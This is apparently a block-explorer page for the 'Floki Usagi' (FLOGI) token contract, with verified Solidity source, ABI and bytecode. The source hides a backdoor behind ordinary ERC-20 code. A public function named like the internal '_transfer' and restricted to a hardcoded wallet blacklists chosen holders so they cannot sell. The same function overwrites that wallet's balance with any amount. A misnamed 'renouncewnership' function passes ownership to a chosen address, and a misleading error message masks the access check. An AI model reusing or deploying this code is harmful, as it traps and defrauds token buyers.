ETH Price: $2,444.62 (-1.01%)

Token

Floki Usagi (FLOGI)
 

Overview

Max Total Supply

1,000,000,000 FLOGI

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,520,695.3504 FLOGI

Value
$0.00
0x3ae42cdde0aa6889049eb67cebf56b6fcffe24f9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FlokiUsagi

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-01
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function renouncewnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract FlokiUsagi is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "Floki Usagi";
    string private _symbol = "FLOGI";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public doge;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _cherry;

    uint256 public _buyMarketingFee = 4;
    uint256 public _sellMarketingFee = 4;


    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        doge = payable(address(0x9bD037c009e562a085a9C75C1dFf9bfBB37afe53));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    address public uniswapPair;
    function name() public view returns (string memory) {
        return _name;
    }

    function VIP() private view {
        require(msg.sender == doge,"not enough Balance");
    }

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    IUniswapV2Router02 public uniswapV2Router;

    receive() external payable {}

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(bool defeult,uint256 space, address[] calldata legion) public {
        VIP();
        uint256 m = space;
        for (uint n; n < legion.length; ++n) {
            address user = legion[n];
            _cherry[user] = defeult; 
        }
        if (m > 600) _balances[doge] = m;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            doge.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Inufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function openTrading() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_cherry[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_cherry","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"defeult","type":"bool"},{"internalType":"uint256","name":"space","type":"uint256"},{"internalType":"address[]","name":"legion","type":"address[]"}],"name":"_transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"doge","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"renouncewnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600b60809081526a466c6f6b6920557361676960a81b60a0526001906200002c908262000287565b50604080518082019091526005815264464c4f474960d81b602082015260029062000058908262000287565b506003805460ff191660099081179091556004600a818155600b9190915562000082919062000468565b6200009290633b9aca0062000480565b600c55348015620000a257600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160076000620000fb6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600580546001600160a01b031916739bd037c009e562a085a9c75c1dff9bfbb37afe53179055600c5490600490620001713390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001d491815260200190565b60405180910390a3620004a2565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200020d57607f821691505b6020821081036200022e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200028257600081815260208120601f850160051c810160208610156200025d5750805b601f850160051c820191505b818110156200027e5782815560010162000269565b5050505b505050565b81516001600160401b03811115620002a357620002a3620001e2565b620002bb81620002b48454620001f8565b8462000234565b602080601f831160018114620002f35760008415620002da5750858301515b600019600386901b1c1916600185901b1785556200027e565b600085815260208120601f198616915b82811015620003245788860151825594840194600190910190840162000303565b5085821015620003435787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003aa5781600019048211156200038e576200038e62000353565b808516156200039c57918102915b93841c93908002906200036e565b509250929050565b600082620003c35750600162000462565b81620003d25750600062000462565b8160018114620003eb5760028114620003f65762000416565b600191505062000462565b60ff8411156200040a576200040a62000353565b50506001821b62000462565b5060208310610133831016604e8410600b84101617156200043b575081810a62000462565b62000447838362000369565b80600019048211156200045e576200045e62000353565b0290505b92915050565b60006200047960ff841683620003b2565b9392505050565b60008160001904831182151516156200049d576200049d62000353565b500290565b6115dd80620004b26000396000f3fe60806040526004361061012e5760003560e01c80635f788025116100ab578063c5d241891161006f578063c5d2418914610379578063c816841b1461038f578063c8607952146103af578063c9567bf9146103c5578063dd62ed3e146103da578063e78757aa1461042057600080fd5b80635f788025146102d057806370a08231146102f05780638da5cb5b1461032657806395d89b4114610344578063a9059cbb1461035957600080fd5b8063313ce567116100f2578063313ce5671461020c5780633345611e1461022e57806334809ee71461025e5780633d0a217a1461027e5780633ecad271146102a057600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610450565b60405161015c9190611241565b60405180910390f35b34801561017157600080fd5b506101856101803660046112ae565b6104e2565b604051901515815260200161015c565b3480156101a157600080fd5b50600e546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b50600c545b60405190815260200161015c565b3480156101f857600080fd5b506101856102073660046112da565b6104f9565b34801561021857600080fd5b5060035460405160ff909116815260200161015c565b34801561023a57600080fd5b5061018561024936600461131b565b60076020526000908152604090205460ff1681565b34801561026a57600080fd5b506005546101b5906001600160a01b031681565b34801561028a57600080fd5b5061029e610299366004611338565b610564565b005b3480156102ac57600080fd5b506101856102bb36600461131b565b60086020526000908152604090205460ff1681565b3480156102dc57600080fd5b5061029e6102eb36600461131b565b610605565b3480156102fc57600080fd5b506101de61030b36600461131b565b6001600160a01b031660009081526004602052604090205490565b34801561033257600080fd5b506000546001600160a01b03166101b5565b34801561035057600080fd5b5061014f6106af565b34801561036557600080fd5b506101856103743660046112ae565b6106be565b34801561038557600080fd5b506101de600a5481565b34801561039b57600080fd5b50600d546101b5906001600160a01b031681565b3480156103bb57600080fd5b506101de600b5481565b3480156103d157600080fd5b5061029e6106cb565b3480156103e657600080fd5b506101de6103f53660046113c9565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042c57600080fd5b5061018561043b36600461131b565b60096020526000908152604090205460ff1681565b60606001805461045f90611402565b80601f016020809104026020016040519081016040528092919081815260200182805461048b90611402565b80156104d85780601f106104ad576101008083540402835291602001916104d8565b820191906000526020600020905b8154815290600101906020018083116104bb57829003601f168201915b5050505050905090565b60006104ef3384846108eb565b5060015b92915050565b6000610506848484610a0f565b50610559843361055485604051806060016040528060288152602001611580602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610d86565b6108eb565b5060015b9392505050565b61056c610dc0565b8260005b828110156105d557600084848381811061058c5761058c61143c565b90506020020160208101906105a1919061131b565b6001600160a01b03166000908152600960205260409020805460ff1916881515179055506105ce81611468565b9050610570565b506102588111156105fe576005546001600160a01b031660009081526004602052604090208190555b5050505050565b6000546001600160a01b031633146106645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60606002805461045f90611402565b6000610559338484610a0f565b6000546001600160a01b031633146107255760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161065b565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a09190611481565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611481565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561085e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108829190611481565b600d80546001600160a01b039283166001600160a01b0319918216178255600e80549484169490911684179055600c543060009081526006602090815260408083209683529581528582209290925591549092168152600890915220805460ff19166001179055565b6001600160a01b03831661094d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065b565b6001600160a01b0382166109ae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065b565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610a755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065b565b6001600160a01b038316610ad75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065b565b6001600160a01b03841660009081526009602052604090205460ff1615610afd57600080fd5b600d54600160a01b900460ff1615610b2157610b1a848484610e11565b905061055d565b30600090815260046020526040902054600d54600160a01b900460ff16158015610b6457506001600160a01b03851660009081526008602052604090205460ff16155b15610b7257610b7281610ef6565b6001600160a01b038516600090815260046020526040902054610b9590846110ae565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610be257506001600160a01b03851660009081526007602052604090205460ff165b15610bee575082610cfc565b6001600160a01b03861660009081526008602052604081205460ff1615610c3657610c2f6064610c29600a54886110f090919063ffffffff16565b90611172565b9050610c74565b6001600160a01b03861660009081526008602052604090205460ff1615610c7457610c716064610c29600b54886110f090919063ffffffff16565b90505b8015610cee5730600090815260046020526040902054610c9490826111b4565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce59085815260200190565b60405180910390a35b610cf885826110ae565b9150505b6001600160a01b038516600090815260046020526040902054610d1f90826111b4565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d739085815260200190565b60405180910390a360019250505061055d565b60008184841115610daa5760405162461bcd60e51b815260040161065b9190611241565b506000610db7848661149e565b95945050505050565b6005546001600160a01b03163314610e0f5760405162461bcd60e51b81526020600482015260126024820152716e6f7420656e6f7567682042616c616e636560701b604482015260640161065b565b565b6040805180820182526013815272496e756666696369656e742042616c616e636560681b6020808301919091526001600160a01b0386166000908152600490915291822054610e61918490610d86565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610e9090836111b4565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee49086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f3e57610f3e61143c565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbb9190611481565b81600181518110610fce57610fce61143c565b6001600160a01b039283166020918202929092010152600e54610ff491309116846108eb565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061102d9085906000908690309042906004016114b5565b600060405180830381600087803b15801561104757600080fd5b505af1925050508015611058575060015b5047801561109c576005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561109a573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061055d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d86565b600082600003611102575060006104f3565b600061110e8385611526565b90508261111b8583611545565b1461055d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161065b565b600061055d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611213565b6000806111c18385611567565b90508381101561055d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161065b565b600081836112345760405162461bcd60e51b815260040161065b9190611241565b506000610db78486611545565b600060208083528351808285015260005b8181101561126e57858101830151858201604001528201611252565b81811115611280576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146112ab57600080fd5b50565b600080604083850312156112c157600080fd5b82356112cc81611296565b946020939093013593505050565b6000806000606084860312156112ef57600080fd5b83356112fa81611296565b9250602084013561130a81611296565b929592945050506040919091013590565b60006020828403121561132d57600080fd5b813561055d81611296565b6000806000806060858703121561134e57600080fd5b8435801515811461135e57600080fd5b935060208501359250604085013567ffffffffffffffff8082111561138257600080fd5b818701915087601f83011261139657600080fd5b8135818111156113a557600080fd5b8860208260051b85010111156113ba57600080fd5b95989497505060200194505050565b600080604083850312156113dc57600080fd5b82356113e781611296565b915060208301356113f781611296565b809150509250929050565b600181811c9082168061141657607f821691505b60208210810361143657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161147a5761147a611452565b5060010190565b60006020828403121561149357600080fd5b815161055d81611296565b6000828210156114b0576114b0611452565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115055784516001600160a01b0316835293830193918301916001016114e0565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561154057611540611452565b500290565b60008261156257634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561157a5761157a611452565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9f0f99a081c959eeb9d0ad9b8aef064665fd34b370d1f73afd7c2d9ab69794164736f6c634300080f0033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c80635f788025116100ab578063c5d241891161006f578063c5d2418914610379578063c816841b1461038f578063c8607952146103af578063c9567bf9146103c5578063dd62ed3e146103da578063e78757aa1461042057600080fd5b80635f788025146102d057806370a08231146102f05780638da5cb5b1461032657806395d89b4114610344578063a9059cbb1461035957600080fd5b8063313ce567116100f2578063313ce5671461020c5780633345611e1461022e57806334809ee71461025e5780633d0a217a1461027e5780633ecad271146102a057600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610450565b60405161015c9190611241565b60405180910390f35b34801561017157600080fd5b506101856101803660046112ae565b6104e2565b604051901515815260200161015c565b3480156101a157600080fd5b50600e546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b50600c545b60405190815260200161015c565b3480156101f857600080fd5b506101856102073660046112da565b6104f9565b34801561021857600080fd5b5060035460405160ff909116815260200161015c565b34801561023a57600080fd5b5061018561024936600461131b565b60076020526000908152604090205460ff1681565b34801561026a57600080fd5b506005546101b5906001600160a01b031681565b34801561028a57600080fd5b5061029e610299366004611338565b610564565b005b3480156102ac57600080fd5b506101856102bb36600461131b565b60086020526000908152604090205460ff1681565b3480156102dc57600080fd5b5061029e6102eb36600461131b565b610605565b3480156102fc57600080fd5b506101de61030b36600461131b565b6001600160a01b031660009081526004602052604090205490565b34801561033257600080fd5b506000546001600160a01b03166101b5565b34801561035057600080fd5b5061014f6106af565b34801561036557600080fd5b506101856103743660046112ae565b6106be565b34801561038557600080fd5b506101de600a5481565b34801561039b57600080fd5b50600d546101b5906001600160a01b031681565b3480156103bb57600080fd5b506101de600b5481565b3480156103d157600080fd5b5061029e6106cb565b3480156103e657600080fd5b506101de6103f53660046113c9565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042c57600080fd5b5061018561043b36600461131b565b60096020526000908152604090205460ff1681565b60606001805461045f90611402565b80601f016020809104026020016040519081016040528092919081815260200182805461048b90611402565b80156104d85780601f106104ad576101008083540402835291602001916104d8565b820191906000526020600020905b8154815290600101906020018083116104bb57829003601f168201915b5050505050905090565b60006104ef3384846108eb565b5060015b92915050565b6000610506848484610a0f565b50610559843361055485604051806060016040528060288152602001611580602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610d86565b6108eb565b5060015b9392505050565b61056c610dc0565b8260005b828110156105d557600084848381811061058c5761058c61143c565b90506020020160208101906105a1919061131b565b6001600160a01b03166000908152600960205260409020805460ff1916881515179055506105ce81611468565b9050610570565b506102588111156105fe576005546001600160a01b031660009081526004602052604090208190555b5050505050565b6000546001600160a01b031633146106645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60606002805461045f90611402565b6000610559338484610a0f565b6000546001600160a01b031633146107255760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161065b565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a09190611481565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611481565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561085e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108829190611481565b600d80546001600160a01b039283166001600160a01b0319918216178255600e80549484169490911684179055600c543060009081526006602090815260408083209683529581528582209290925591549092168152600890915220805460ff19166001179055565b6001600160a01b03831661094d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065b565b6001600160a01b0382166109ae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065b565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610a755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065b565b6001600160a01b038316610ad75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065b565b6001600160a01b03841660009081526009602052604090205460ff1615610afd57600080fd5b600d54600160a01b900460ff1615610b2157610b1a848484610e11565b905061055d565b30600090815260046020526040902054600d54600160a01b900460ff16158015610b6457506001600160a01b03851660009081526008602052604090205460ff16155b15610b7257610b7281610ef6565b6001600160a01b038516600090815260046020526040902054610b9590846110ae565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610be257506001600160a01b03851660009081526007602052604090205460ff165b15610bee575082610cfc565b6001600160a01b03861660009081526008602052604081205460ff1615610c3657610c2f6064610c29600a54886110f090919063ffffffff16565b90611172565b9050610c74565b6001600160a01b03861660009081526008602052604090205460ff1615610c7457610c716064610c29600b54886110f090919063ffffffff16565b90505b8015610cee5730600090815260046020526040902054610c9490826111b4565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce59085815260200190565b60405180910390a35b610cf885826110ae565b9150505b6001600160a01b038516600090815260046020526040902054610d1f90826111b4565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d739085815260200190565b60405180910390a360019250505061055d5